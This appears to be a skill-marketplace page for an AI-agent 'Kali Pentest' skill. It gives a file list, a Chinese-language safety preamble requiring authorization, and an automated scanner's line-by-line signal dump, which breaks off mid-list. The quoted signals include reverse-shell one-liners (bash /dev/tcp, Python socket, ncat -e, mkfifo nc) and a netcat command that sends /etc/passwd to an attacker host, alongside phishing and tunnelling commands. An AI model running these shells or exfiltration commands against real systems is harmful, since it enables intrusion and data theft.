bytesreferences/post-exploitation/tools/lsassy.mddoc2,835 bytesreferences/post-exploitation/tools/mimikatz.mddoc4,321 bytesreferences/post-exploitation/tools/powershell-empire.mddoc4,049 bytesreferences/post-exploitation/tools/powersploit.mddoc5,615 bytesreferences/post-exploitation/tools/proxychains.mddoc2,189 bytesreferences/post-exploitation/tools/pspy.mddoc2,894 bytesreferences/post-exploitation/tools/pwncat.mddoc6,595 bytesreferences/post-exploitation/tools/sliver.mddoc1,403 bytesreferences/post-exploitation/tools/sshuttle.mddoc3,282 bytesreferences/post-exploitation/tools/winpeas.mddoc3,023 bytesreferences/reporting/README.mddoc2,581 bytesreferences/reporting/tools/pandoc.mddoc3,243 bytesreferences/reporting/tools/report-template.mddoc8,745 bytesreferences/reverse-engineering/README.mddoc5,755 bytesreferences/reverse-engineering/tools/apktool.mddoc1,859 bytesreferences/reverse-engineering/tools/binwalk.mddoc3,066 bytesreferences/reverse-engineering/tools/checksec.mddoc3,626 bytesreferences/reverse-engineering/tools/dex2jar.mddoc3,238 bytesreferences/reverse-engineering/tools/frida.mddoc2,460 bytesreferences/reverse-engineering/tools/ghidra-headless.mddoc3,044 bytesreferences/reverse-engineering/tools/jadx.mddoc2,303 bytesreferences/reverse-engineering/tools/ldd.mddoc1,920 bytesreferences/reverse-engineering/tools/nm.mddoc2,308 bytesreferences/reverse-engineering/tools/objdump.mddoc2,512 bytesreferences/reverse-engineering/tools/objection.mddoc3,064 bytesreferences/reverse-engineering/tools/rabin2.mddoc2,334 bytesreferences/reverse-engineering/tools/radare2.mddoc1,356 bytesreferences/reverse-engineering/tools/readelf.mddoc2,313 bytesreferences/reverse-engineering/tools/ropper.mddoc4,176 bytesreferences/reverse-engineering/tools/strings.mddoc2,375 bytesreferences/reverse-engineering/tools/xxd.mddoc2,325 bytesreferences/rfid-nfc/README.mddoc2,714 bytesreferences/rfid-nfc/tools/libnfc.mddoc2,270 bytesreferences/rfid-nfc/tools/opensc-tool.mddoc1,019 bytesreferences/rfid-nfc/tools/pkcs15-tool.mddoc1,159 bytesreferences/rfid-nfc/tools/proxmark3.mddoc3,312 bytesreferences/rfid-nfc/tools/scriptor.mddoc1,451 bytesreferences/sniffing-spoofing/README.mddoc5,720 bytesreferences/sniffing-spoofing/tools/bettercap.mddoc3,740 bytesreferences/sniffing-spoofing/tools/dnschef.mddoc2,684 bytesreferences/sniffing-spoofing/tools/dsniff.mddoc3,385 bytesreferences/sniffing-spoofing/tools/ettercap.mddoc2,431 bytesreferences/sniffing-spoofing/tools/hping3.mddoc2,716 bytesreferences/sniffing-spoofing/tools/macchanger.mddoc1,659 bytesreferences/sniffing-spoofing/tools/netsniff-ng.mddoc3,279 bytesreferences/sniffing-spoofing/tools/ngrep.mddoc3,297 bytesreferences/sniffing-spoofing/tools/scapy.mddoc2,988 bytesreferences/sniffing-spoofing/tools/sslstrip.mddoc2,417 bytesreferences/voip-ics/README.mddoc4,644 bytesreferences/voip-ics/tools/enumiax.mddoc1,303 bytesreferences/voip-ics/tools/ipmitool.mddoc5,372 bytesreferences/voip-ics/tools/modbus-cli.mddoc2,047 bytesreferences/voip-ics/tools/plcscan.mddoc1,456 bytesreferences/voip-ics/tools/sippts.mddoc4,867 bytesreferences/voip-ics/tools/sipvicious.mddoc1,815 bytesreferences/voip-ics/tools/voiphopper.mddoc1,510 bytesreferences/voip-ics/tools/yersinia.mddoc3,615 bytesreferences/vulnerability/README.mddoc9,318 bytesreferences/vulnerability/tools/enum4linux-ng.mddoc2,501 bytesreferences/vulnerability/tools/enum4linux.mddoc1,897 bytesreferences/vulnerability/tools/ike-scan.mddoc2,827 bytesreferences/vulnerability/tools/ismtp.mddoc2,256 bytesreferences/vulnerability/tools/lynis.mddoc3,379 bytesreferences/vulnerability/tools/nuclei.mddoc5,941 bytesreferences/vulnerability/tools/onesixtyone.mddoc2,352 bytesreferences/vulnerability/tools/openvas.mddoc4,578 bytesreferences/vulnerability/tools/smbmap.mddoc2,169 bytesreferences/vulnerability/tools/smtp-user-enum.mddoc3,434 bytesreferences/vulnerability/tools/snmpcheck.mddoc1,635 bytesreferences/vulnerability/tools/snmpwalk.mddoc2,457 bytesreferences/vulnerability/tools/sslscan.mddoc2,203 bytesreferences/vulnerability/tools/sslyze.mddoc4,234 bytesreferences/vulnerability/tools/swaks.mddoc4,350 bytesreferences/vulnerability/tools/testssl.sh.mddoc2,770 bytesreferences/vulnerability/tools/trivy.mddoc2,266 bytesreferences/web/README.mddoc12,773 bytesreferences/web/tools/arjun.mddoc2,236 bytesreferences/web/tools/clairvoyance.mddoc2,621 bytesreferences/web/tools/cmseek.mddoc2,768 bytesreferences/web/tools/commix.mddoc2,370 bytesreferences/web/tools/crlfuzz.mddoc2,076 bytesreferences/web/tools/dalfox.mddoc3,480 bytesreferences/web/tools/davtest.mddoc3,406 bytesreferences/web/tools/dirb.mddoc3,758 bytesreferences/web/tools/dirsearch.mddoc3,776 bytesreferences/web/tools/feroxbuster.mddoc2,796 bytesreferences/web/tools/ffuf.mddoc8,104 bytesreferences/web/tools/gitleaks.mddoc3,198 bytesreferences/web/tools/gobuster.mddoc8,355 bytesreferences/web/tools/gospider.mddoc2,316 bytesreferences/web/tools/graphw00f.mddoc1,970 bytesreferences/web/tools/grpcurl.mddoc2,981 bytesreferences/web/tools/joomscan.mddoc2,632 bytesreferences/web/tools/jwt_tool.mddoc2,862 bytesreferences/web/tools/katana.mddoc4,250 bytesreferences/web/tools/kiterunner.mddoc3,378 bytesreferences/web/tools/mitmproxy.mddoc6,065 bytesreferences/web/tools/mitmproxy2swagger.mddoc2,117 bytesreferences/web/tools/nikto.mddoc4,667 bytesreferences/web/tools/padbuster.mddoc3,618 bytesreferences/web/tools/phpggc.mddoc3,392 bytesreferences/web/tools/schemathesis.mddoc3,353 bytesreferences/web/tools/slowhttptest.mddoc4,221 bytesreferences/web/tools/sqlmap.mddoc9,885 bytesreferences/web/tools/sstimap.mddoc4,295 bytesreferences/web/tools/subjack.mddoc2,903 bytesreferences/web/tools/tinja.mddoc3,390 bytesreferences/web/tools/wapiti.mddoc4,690 bytesreferences/web/tools/websocat.mddoc1,446 bytesreferences/web/tools/weevely.mddoc3,175 bytesreferences/web/tools/wfuzz.mddoc8,417 bytesreferences/web/tools/wpscan.mddoc2,908 bytesreferences/web/tools/xsstrike.mddoc2,516 bytesreferences/web/tools/zaproxy.mddoc5,498 bytesreferences/wireless/README.mddoc10,102 bytesreferences/wireless/tools/airbase-ng.mddoc3,233 bytesreferences/wireless/tools/aircrack-ng.mddoc4,644 bytesreferences/wireless/tools/aireplay-ng.mddoc4,769 bytesreferences/wireless/tools/airgeddon.mddoc2,593 bytesreferences/wireless/tools/airmon-ng.mddoc2,623 bytesreferences/wireless/tools/airodump-ng.mddoc4,442 bytesreferences/wireless/tools/asleap.mddoc3,262 bytesreferences/wireless/tools/blueranger.mddoc875 bytesreferences/wireless/tools/bluesnarfer.mddoc1,488 bytesreferences/wireless/tools/btscanner.mddoc1,110 bytesreferences/wireless/tools/bully.mddoc3,607 bytesreferences/wireless/tools/cowpatty.mddoc2,094 bytesreferences/wireless/tools/crackle.mddoc1,187 bytesreferences/wireless/tools/eaphammer.mddoc2,860 bytesreferences/wireless/tools/fluxion.mddoc2,597 bytesreferences/wireless/tools/gatttool.mddoc2,097 bytesreferences/wireless/tools/hcitool.mddoc2,034 bytesreferences/wireless/tools/hcxtools.mddoc2,522 bytesreferences/wireless/tools/hostapd-mana.mddoc2,968 bytesreferences/wireless/tools/kismet.mddoc5,557 bytesreferences/wireless/tools/mdk4.mddoc2,838 bytesreferences/wireless/tools/pixiewps.mddoc2,267 bytesreferences/wireless/tools/reaver.mddoc4,157 bytesreferences/wireless/tools/sdptool.mddoc1,805 bytesreferences/wireless/tools/wifiphisher.mddoc4,019 bytesreferences/wireless/tools/wifipumpkin3.mddoc3,212 bytesreferences/wireless/tools/wifite.mddoc4,230 bytes
Read SKILL.md
# Kali Pentest Skill
## 安全约束(首先阅读)
1. **授权是强制性前提**:未经用户确认的书面授权,不得扫描或探测任何目标。
2. **范围具有约束力**:仅测试用户已授权的主机、域名、端口、账号和技术手段。
3. **风险确认**:High/Critical 级别操作需用户明确批准后方可执行。
4. **禁止操作**:攻击未授权目标、对生产系统执行破坏性操作、未经明确要求修改/删除/加密目标文件、攻击关键基础设施。
高风险操作包括漏洞利用、凭据喷洒、暴力破解、NTLM 中继、钓鱼、无线攻击、持久化、数据外传、近似 DoS 的扫描和侵入式漏洞检查。
## 第一步:确定执行环境
检查用户消息中的连接信息。若未提供,向用户询问。View the complete source on GitHubSkills included
- kali-pentest
- kali-pentest-zh
Repository facts
- License
- Apache-2.0
- Created
- May 5, 2026
- Last pushed
- Jun 25, 2026
- Forks
- 34
- Open issues
- 0
- Project activity
- Slowing
Before you install
Network or broad shellAutomated signals, not a guarantee
Offensive security tool: run only in authorized labs.
Checked Nov 6, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 4 notes
kali-pentest/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedkali-pentest/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedkali-pentest-zh/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedkali-pentest-zh/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 1,040 dangerous shell commandsin 448 files: kali-pentest-zh/references/wireless/tools/wifite.md:15 kali-pentest/references/wireless/tools/wifite.md:15 kali-pentest-zh/references/wireless/tools/aireplay-ng.md:15 and 445 more
- 2,875 network referencesin 582 files: kali-pentest-zh/references/web/tools/sqlmap.md:23 kali-pentest/references/web/tools/sqlmap.md:23 kali-pentest-zh/references/exploitation/tools/netcat.md:15 and 579 more
- No hidden or obfuscated text
- No instruction overrides
- No executable scripts
- 101 references to secretsin 37 files: kali-pentest-zh/references/exploitation/tools/gophish.md:104 kali-pentest/references/exploitation/tools/gophish.md:104 kali-pentest-zh/references/environment/server-mode.md:22 and 34 more
- No requests to vote in Hot
Show all 4,016 signals by file
kali-pentest-zh/references/cloud-native/README.md
- Network accessline 101
- [ScoutSuite GitHub](https://github.com/nccgroup/ScoutSuite) - Network accessline 102
- [Prowler Documentation](https://docs.prowler.com/) - Network accessline 103
- [Kubernetes Documentation](https://kubernetes.io/docs/) - Network accessline 104
- [Docker Documentation](https://docs.docker.com/)
kali-pentest-zh/references/cloud-native/tools/azurehound.md
- Dangerous shell operationline 15
sudo apt install azurehound - Network accessline 21
wget https://github.com/SpecterOps/AzureHound/releases/latest/download/azurehound-linux-amd64.zip - Dangerous shell operationline 24
sudo mv azurehound /usr/local/bin/ - Network accessline 100
# 通过 API 将收集的数据上传到 BloodHound CE curl -X POST https://<bloodhound-ce>/api/v2/file-upload \ - Network accessline 101
curl -X POST https://<bloodhound-ce>/api/v2/file-upload \ - Network accessline 118
- [AzureHound (GitHub)](https://github.com/SpecterOps/AzureHound) - Network accessline 119
- [azurehound — Kali Tools](https://www.kali.org/tools/azurehound/)
kali-pentest-zh/references/cloud-native/tools/docker-bench-security.md
kali-pentest-zh/references/cloud-native/tools/kube-bench.md
- Network accessline 58
- [kube-bench GitHub](https://github.com/aquasecurity/kube-bench)
kali-pentest-zh/references/cloud-native/tools/kubescape.md
- Dangerous shell operationline 15
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash - Network accessline 15
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash - Network accessline 53
- [Kubescape Documentation](https://kubescape.io/docs/) - Network accessline 54
- [Kubescape GitHub](https://github.com/kubescape/kubescape)
kali-pentest-zh/references/cloud-native/tools/pacu.md
kali-pentest-zh/references/cloud-native/tools/peirates.md
- Dangerous shell operationline 15
sudo apt install peirates - Network accessline 21
wget https://github.com/inguardians/peirates/releases/latest/download/peirates-linux-amd64.tar.xz - Dangerous shell operationline 24
sudo mv peirates /usr/local/bin/ - Network accessline 71
| `-m <module>` | 从菜单运行指定模块(标有 `*` 的菜单项支持此选项) | | `-t <token>` | 用于认证的 JWT 令牌 | | `-u <url>` | API 服务器 URL,例如 `https://10.96.0.1:6443`(默认为空:`https://:`) | - Network accessline 72
| `-t <token>` | 用于认证的 JWT 令牌 | | `-u <url>` | API 服务器 URL,例如 `https://10.96.0.1:6443`(默认为空:`https://:`) | | `-v` | 详细模式——显示调试信息 | - Network accessline 73
| `-u <url>` | API 服务器 URL,例如 `https://10.96.0.1:6443`(默认为空:`https://:`) | - Network accessline 84
# 使用指定的 API 服务器 URL 启动 peirates -u https://10.96.0.1:6443 - Network accessline 85
peirates -u https://10.96.0.1:6443 - Network accessline 170
- [peirates (GitHub)](https://github.com/inguardians/peirates) - Network accessline 171
- [peirates — Kali Tools](https://www.kali.org/tools/peirates/)
kali-pentest-zh/references/cloud-native/tools/prowler.md
kali-pentest-zh/references/cloud-native/tools/scoutsuite.md
- Network accessline 52
- [ScoutSuite GitHub](https://github.com/nccgroup/ScoutSuite)
kali-pentest-zh/references/environment/docker-mode-persistent-container.md
- Dangerous shell operationline 94
RUN apt-get update -qq && apt-get install -y --no-install-recommends nmap masscan gobuster ffuf sqlmap nikto hydra john hashcat wordlists metasploit-framework && apt-get clean && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 99
apt-get clean && rm -rf /var/lib/apt/lists/*
kali-pentest-zh/references/environment/docker-mode.md
kali-pentest-zh/references/environment/server-mode.md
- Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 35
[Credential-related source omitted] - Dangerous shell operationline 36
# sudo 需要 TTY——使用 ssh -t: - Dangerous shell operationline 37
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted]
kali-pentest-zh/references/exploitation/README.md
- Network accessline 70
**[socat](tools/socat.md)** — 高级网络中继与 Shell 升级工具 netcat 的增强版继承者,支持 TCP、UDP、TLS 加密套接字和 PTY 伪终端。最适合将基础 Shell 升级为完全交互式 TTY、创建加密 C2 通道,以及通过跳板进行端口转发。 - Network accessline 71
netcat 的增强版继承者,支持 TCP、UDP、TLS 加密套接字和 PTY 伪终端。最适合将基础 Shell 升级为完全交互式 TTY、创建加密 C2 通道,以及通过跳板进行端口转发。 - Network accessline 192
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest-zh/references/exploitation/tools/chisel.md
- Dangerous shell operationline 17
sudo apt install chisel - Network accessline 37
|------|------| | `client` | 以客户端模式运行 | | `<server>` | 攻击端服务器 URL(如 http://192.168.1.10:8080 ) | - Network accessline 38
| `client` | 以客户端模式运行 | | `<server>` | 攻击端服务器 URL(如 http://192.168.1.10:8080 ) | | `<remote>` | 隧道规格:`R:socks`(反向 SOCKS)或 `<local>:<remote-host>:<remote-port>` | - Network accessline 39
| `<server>` | 攻击端服务器 URL(如 http://192.168.1.10:8080 ) | - Network accessline 87
- [chisel GitHub](https://github.com/jpillora/chisel)
kali-pentest-zh/references/exploitation/tools/coercer.md
kali-pentest-zh/references/exploitation/tools/dns2tcp.md
kali-pentest-zh/references/exploitation/tools/evil-winrm.md
kali-pentest-zh/references/exploitation/tools/evilginx2.md
- Dangerous shell operationline 15
sudo apt install evilginx2 - Dangerous shell operationline 33
sudo evilginx2 -p /usr/share/evilginx2/phishlets - Dangerous shell operationline 36
sudo evilginx2 -developer - Network accessline 65
- [evilginx2 (GitHub)](https://github.com/kgretzky/evilginx2) - Network accessline 66
- [Kali evilginx2](https://www.kali.org/tools/evilginx2/)
kali-pentest-zh/references/exploitation/tools/getsploit.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install getsploit - Access to secretsline 58
[Credential-related source omitted] - Network accessline 73
- [getsploit GitHub](https://github.com/vulnersCom/getsploit) - Network accessline 74
- [Kali getsploit](https://www.kali.org/tools/getsploit/)
kali-pentest-zh/references/exploitation/tools/gophish.md
- Dangerous shell operationline 25
sudo apt install gophish - Network accessline 27
# 或从 GitHub releases 下载 wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip - Network accessline 28
wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip - Dangerous shell operationline 80
sudo gophish - Network accessline 104
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Network accessline 118
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Network accessline 133
[Credential-related source omitted] - Access to secretsline 133
[Credential-related source omitted] - Access to secretsline 134
[Credential-related source omitted] - Network accessline 147
[Credential-related source omitted] - Access to secretsline 147
[Credential-related source omitted] - Access to secretsline 148
[Credential-related source omitted] - Network accessline 161
[Credential-related source omitted] - Access to secretsline 161
[Credential-related source omitted] - Access to secretsline 162
[Credential-related source omitted] - Network accessline 168
"smtp": {"name": "Internal SMTP"}, "groups": [{"name": "Finance Team"}], "url": "https://phish.example.com" - Network accessline 169
"groups": [{"name": "Finance Team"}], "url": "https://phish.example.com" }' - Network accessline 170
"url": "https://phish.example.com" - Network accessline 177
# 获取所有活动 curl -k https://localhost:3333/api/campaigns/ \ - Network accessline 178
[Credential-related source omitted] - Access to secretsline 178
[Credential-related source omitted] - Access to secretsline 179
[Credential-related source omitted] - Network accessline 181
# 获取特定活动结果 curl -k https://localhost:3333/api/campaigns/1/results \ - Network accessline 182
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Access to secretsline 183
[Credential-related source omitted] - Network accessline 189
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 202
[Credential-related source omitted] - Network accessline 213
- GitHub: https://github.com/gophish/gophish - Network accessline 214
- Kali Tools: https://www.kali.org/tools/gophish/
kali-pentest-zh/references/exploitation/tools/impacket.md
- Network accessline 20
# 从源码安装(fortra 是当前的 GitHub 组织;SecureAuth 已将项目转移给 Fortra) git clone https://github.com/fortra/impacket - Network accessline 21
git clone https://github.com/fortra/impacket - Dangerous shell operationline 316
5. **时钟同步**:Kerberos 攻击要求时钟与域控同步(±5 分钟),使用 `sudo ntpdate dc.domain.com` 或 `sudo ntpdate -u dc.domain.com` 同步。 - Network accessline 323
- [impacket GitHub](https://github.com/fortra/impacket) - Network accessline 324
- [impacket README](https://github.com/fortra/impacket/blob/master/README.md)
kali-pentest-zh/references/exploitation/tools/iodine.md
- Dangerous shell operationline 15
sudo apt install iodine - Dangerous shell operationline 56
sudo iodined -f -c -P secretpass 10.0.0.1/24 t1.example.com - Dangerous shell operationline 59
sudo iodined -f -c -P secretpass -n 203.0.113.10 10.0.0.1/24 t1.example.com - Dangerous shell operationline 64
sudo iodine -f -P secretpass t1.example.com - Dangerous shell operationline 67
sudo iodine -f -P secretpass 8.8.8.8 t1.example.com - Dangerous shell operationline 70
sudo iodine -f -P secretpass -T TXT t1.example.com - Network accessline 93
- [iodine GitHub](https://github.com/yarrick/iodine) - Network accessline 94
- [Kali iodine](https://www.kali.org/tools/iodine/)
kali-pentest-zh/references/exploitation/tools/ligolo-ng.md
- Dangerous shell operationline 15
sudo apt install ligolo-ng - Dangerous shell operationline 49
sudo ip tuntap add user $(whoami) mode tun ligolo - Dangerous shell operationline 50
sudo ip link set ligolo up - Dangerous shell operationline 66
sudo ip route add 10.0.0.0/24 dev ligolo - Network accessline 85
- [ligolo-ng (GitHub)](https://github.com/nicocha30/ligolo-ng) - Network accessline 86
- [Kali ligolo-ng](https://www.kali.org/tools/ligolo-ng/)
kali-pentest-zh/references/exploitation/tools/metasploit.md
- Network accessline 29
# 通过官方安装脚本安装 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall - Network accessline 30
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall - Dangerous shell operationline 210
rm /tmp/file # 删除文件 - Network accessline 412
- [Metasploit 文档](https://docs.metasploit.com/) - Network accessline 413
- [Metasploit Framework GitHub](https://github.com/rapid7/metasploit-framework) - Network accessline 414
- [Rapid7 漏洞数据库](https://www.rapid7.com/db/)
kali-pentest-zh/references/exploitation/tools/mitm6.md
kali-pentest-zh/references/exploitation/tools/msfconsole.md
- Dangerous shell operationline 16
sudo apt install metasploit-framework - Access to secretsline 23
[Credential-related source omitted] - Network accessline 113
- [Metasploit Framework (GitHub)](https://github.com/rapid7/metasploit-framework) - Network accessline 114
- [Metasploit Documentation](https://docs.metasploit.com/) - Network accessline 115
- [Running Modules (Using Metasploit)](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html) - Network accessline 116
- [Database Support](https://docs.metasploit.com/docs/using-metasploit/intermediate/metasploit-database-support.html)
kali-pentest-zh/references/exploitation/tools/msfvenom.md
- Dangerous shell operationline 15
sudo apt install metasploit-framework - Network accessline 263
- [如何使用 msfvenom(GitHub Wiki)](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom) - Network accessline 264
- [msfvenom 文档](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html)
kali-pentest-zh/references/exploitation/tools/mssqlpwner.md
kali-pentest-zh/references/exploitation/tools/netcat.md
- Dangerous shell operationline 15
sudo apt install ncat netcat-openbsd - Network accessline 15
sudo apt install ncat netcat-openbsd - Network accessline 24
| `-n` | 不做 DNS 解析 | | `-p PORT` | 指定端口 | | `-e CMD` | 连接后执行的程序(传统 netcat;**OpenBSD netcat 不支持**,而 Kali 默认的 `nc` 正是 OpenBSD 版本)| - Network accessline 25
| `-p PORT` | 指定端口 | | `-e CMD` | 连接后执行的程序(传统 netcat;**OpenBSD netcat 不支持**,而 Kali 默认的 `nc` 正是 OpenBSD 版本)| | `-u` | UDP 模式 | - Network accessline 26
| `-e CMD` | 连接后执行的程序(传统 netcat;**OpenBSD netcat 不支持**,而 Kali 默认的 `nc` 正是 OpenBSD 版本)| - Network accessline 27
| `-u` | UDP 模式 | | `-w N` | 超时等待秒数 | | `-z` | 零 IO 模式(端口扫描;ncat 和传统 nc 均支持)| - Network accessline 28
| `-w N` | 超时等待秒数 | | `-z` | 零 IO 模式(端口扫描;ncat 和传统 nc 均支持)| | `-k` | 设置套接字 keepalive 选项 | - Network accessline 29
| `-z` | 零 IO 模式(端口扫描;ncat 和传统 nc 均支持)| - Network accessline 41
# === 反弹 Shell 监听(Kali 攻击机)=== nc -lvnp 4444 - Network accessline 42
nc -lvnp 4444 - Network accessline 44
ncat -lvnp 4444 - Network accessline 46
# === 反弹 Shell Payload(目标机器执行)=== # Bash bash -i >& /dev/tcp/<kali-ip>/4444 0>&1 - Dangerous shell operationline 48
bash -i >& /dev/tcp/<kali-ip>/4444 0>&1 - Network accessline 48
bash -i >& /dev/tcp/<kali-ip>/4444 0>&1 - Network accessline 50
# Python3 python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<kali-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' - Network accessline 51
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<kali-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' - Network accessline 54
# 注意:Kali 默认的 nc(OpenBSD 变体)不支持 -e # 使用 ncat(来自 nmap 包),它支持 --exec / -e: ncat <kali-ip> 4444 -e /bin/bash - Dangerous shell operationline 56
ncat <kali-ip> 4444 -e /bin/bash - Network accessline 56
ncat <kali-ip> 4444 -e /bin/bash - Network accessline 58
# nc(无 -e 参数,使用 mkfifo) rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <kali-ip> 4444 > /tmp/f - Dangerous shell operationline 59
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <kali-ip> 4444 > /tmp/f - Network accessline 59
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <kali-ip> 4444 > /tmp/f - Network accessline 64
# === 文件传输 === # 接收端(Kali) nc -lvnp 4444 > received_file - Network accessline 66
nc -lvnp 4444 > received_file - Network accessline 68
# 发送端(目标)——添加 -N 让 nc 在 EOF 时关闭套接字,使传输干净地结束 - Network accessline 69
nc -N <kali-ip> 4444 < /etc/passwd - Network accessline 71
# === 端口扫描(简单)=== # 注意:ncat 支持 -z,但传统 nc(OpenBSD)支持情况不一;大范围扫描推荐使用 nmap - Network accessline 72
# 注意:ncat 支持 -z,但传统 nc(OpenBSD)支持情况不一;大范围扫描推荐使用 nmap - Network accessline 73
nc -zv 192.168.1.100 1-1000 2>&1 | grep open - Network accessline 75
# === 端口转发(简单)=== # 将本地 8080 转发到 target:80 nc -l 8080 | nc target.com 80 - Network accessline 77
nc -l 8080 | nc target.com 80 - Network accessline 97
2. 获得基础 Shell 后用 Python3 pty 升级为完全交互式 TTY——参见上方"Shell 稳定化"章节。 3. 加密 Shell 或高级 PTY 功能请使用 `socat`——见 `socat.md`。 4. `ncat --ssl` 创建加密的 netcat 连接——流量监控敏感的环境下使用。 - Network accessline 98
3. 加密 Shell 或高级 PTY 功能请使用 `socat`——见 `socat.md`。 4. `ncat --ssl` 创建加密的 netcat 连接——流量监控敏感的环境下使用。 5. 在实验室环境中始终使用非标准端口(非 80/443/22)作为监听端口,避免与运行中的服务冲突。 - Network accessline 99
4. `ncat --ssl` 创建加密的 netcat 连接——流量监控敏感的环境下使用。 - Network accessline 109
- [Ncat(nmap 版本)](https://nmap.org/ncat/) - Network accessline 110
- [静态二进制文件(socat、nmap 等)](https://github.com/andrew-d/static-binaries)
kali-pentest-zh/references/exploitation/tools/odat.md
kali-pentest-zh/references/exploitation/tools/proxytunnel.md
kali-pentest-zh/references/exploitation/tools/routersploit.md
- Dangerous shell operationline 15
sudo apt install routersploit - Network accessline 21
git clone https://github.com/threat9/routersploit.git - Network accessline 102
- [routersploit GitHub](https://github.com/threat9/routersploit) - Network accessline 103
- [Kali routersploit](https://www.kali.org/tools/routersploit/)
kali-pentest-zh/references/exploitation/tools/searchsploit.md
- Network accessline 173
- [Exploit-DB](https://www.exploit-db.com/) - Network accessline 174
- [ExploitDB GitLab](https://gitlab.com/exploit-database/exploitdb) - Network accessline 175
- [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) - Network accessline 176
- [Exploit-DB Papers](https://www.exploit-db.com/papers) - Network accessline 177
- [Exploit-DB Shellcodes](https://www.exploit-db.com/shellcodes)
kali-pentest-zh/references/exploitation/tools/setoolkit.md
kali-pentest-zh/references/exploitation/tools/smbclient.md
kali-pentest-zh/references/exploitation/tools/socat.md
- Network accessline 10
一款双向数据中继工具,可连接任意两个地址端点——TCP、UDP、Unix 套接字、TLS/SSL、伪终端、文件等均支持。比 netcat 更强大:可创建加密反向 Shell、将基础 Shell 升级为完全交互式 TTY、设置持久化多客户端监听器、通过跳板进行端口转发。几乎所有 Linux 系统上均预装。 - Dangerous shell operationline 15
sudo apt install socat - Network accessline 37
# 基础 TCP 监听器(等效于 netcat -lvnp) - Network accessline 77
- [socat Debian man page](https://manpages.debian.org/socat/socat.1.en.html) - Network accessline 78
- [Kali socat](https://www.kali.org/tools/socat/)
kali-pentest-zh/references/exploitation/tools/veil.md
kali-pentest-zh/references/forensics/README.md
- Network accessline 165
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest-zh/references/forensics/tools/bulk-extractor.md
kali-pentest-zh/references/forensics/tools/chainsaw.md
- Dangerous shell operationline 15
sudo apt install chainsaw - Network accessline 64
1. 单独下载 Sigma 规则和映射文件:`git clone https://github.com/SigmaHQ/sigma.git` - Network accessline 74
- [Chainsaw (GitHub)](https://github.com/WithSecureLabs/chainsaw) - Network accessline 75
- [Kali chainsaw](https://www.kali.org/tools/chainsaw/)
kali-pentest-zh/references/forensics/tools/chkrootkit.md
- Dangerous shell operationline 15
sudo apt install chkrootkit - Dangerous shell operationline 34
sudo chkrootkit - Dangerous shell operationline 37
sudo chkrootkit -q - Dangerous shell operationline 40
sudo chkrootkit -x - Dangerous shell operationline 46
sudo chkrootkit -r /mnt/evidence - Dangerous shell operationline 49
sudo chkrootkit -p /mnt/trusted_bin - Dangerous shell operationline 52
sudo chkrootkit -n - Dangerous shell operationline 55
sudo chkrootkit -e "/tmp /var/tmp" - Dangerous shell operationline 58
sudo chkrootkit chkutmp - Dangerous shell operationline 61
sudo chkrootkit -q > /tmp/chkrootkit_report.txt 2>&1 - Network accessline 78
- [chkrootkit Official Site](http://www.chkrootkit.org/) - Network accessline 79
- [Kali chkrootkit](https://www.kali.org/tools/chkrootkit/)
kali-pentest-zh/references/forensics/tools/dc3dd.md
kali-pentest-zh/references/forensics/tools/dcfldd.md
kali-pentest-zh/references/forensics/tools/ddrescue.md
- Dangerous shell operationline 15
sudo apt install gddrescue - Dangerous shell operationline 42
sudo ddrescue /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 45
sudo ddrescue -n /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 48
sudo ddrescue -r 3 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 51
sudo ddrescue -R -r 3 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 54
sudo ddrescue -d -n /dev/sdb /mnt/output/disk.img /mnt/output/disk.map - Dangerous shell operationline 57
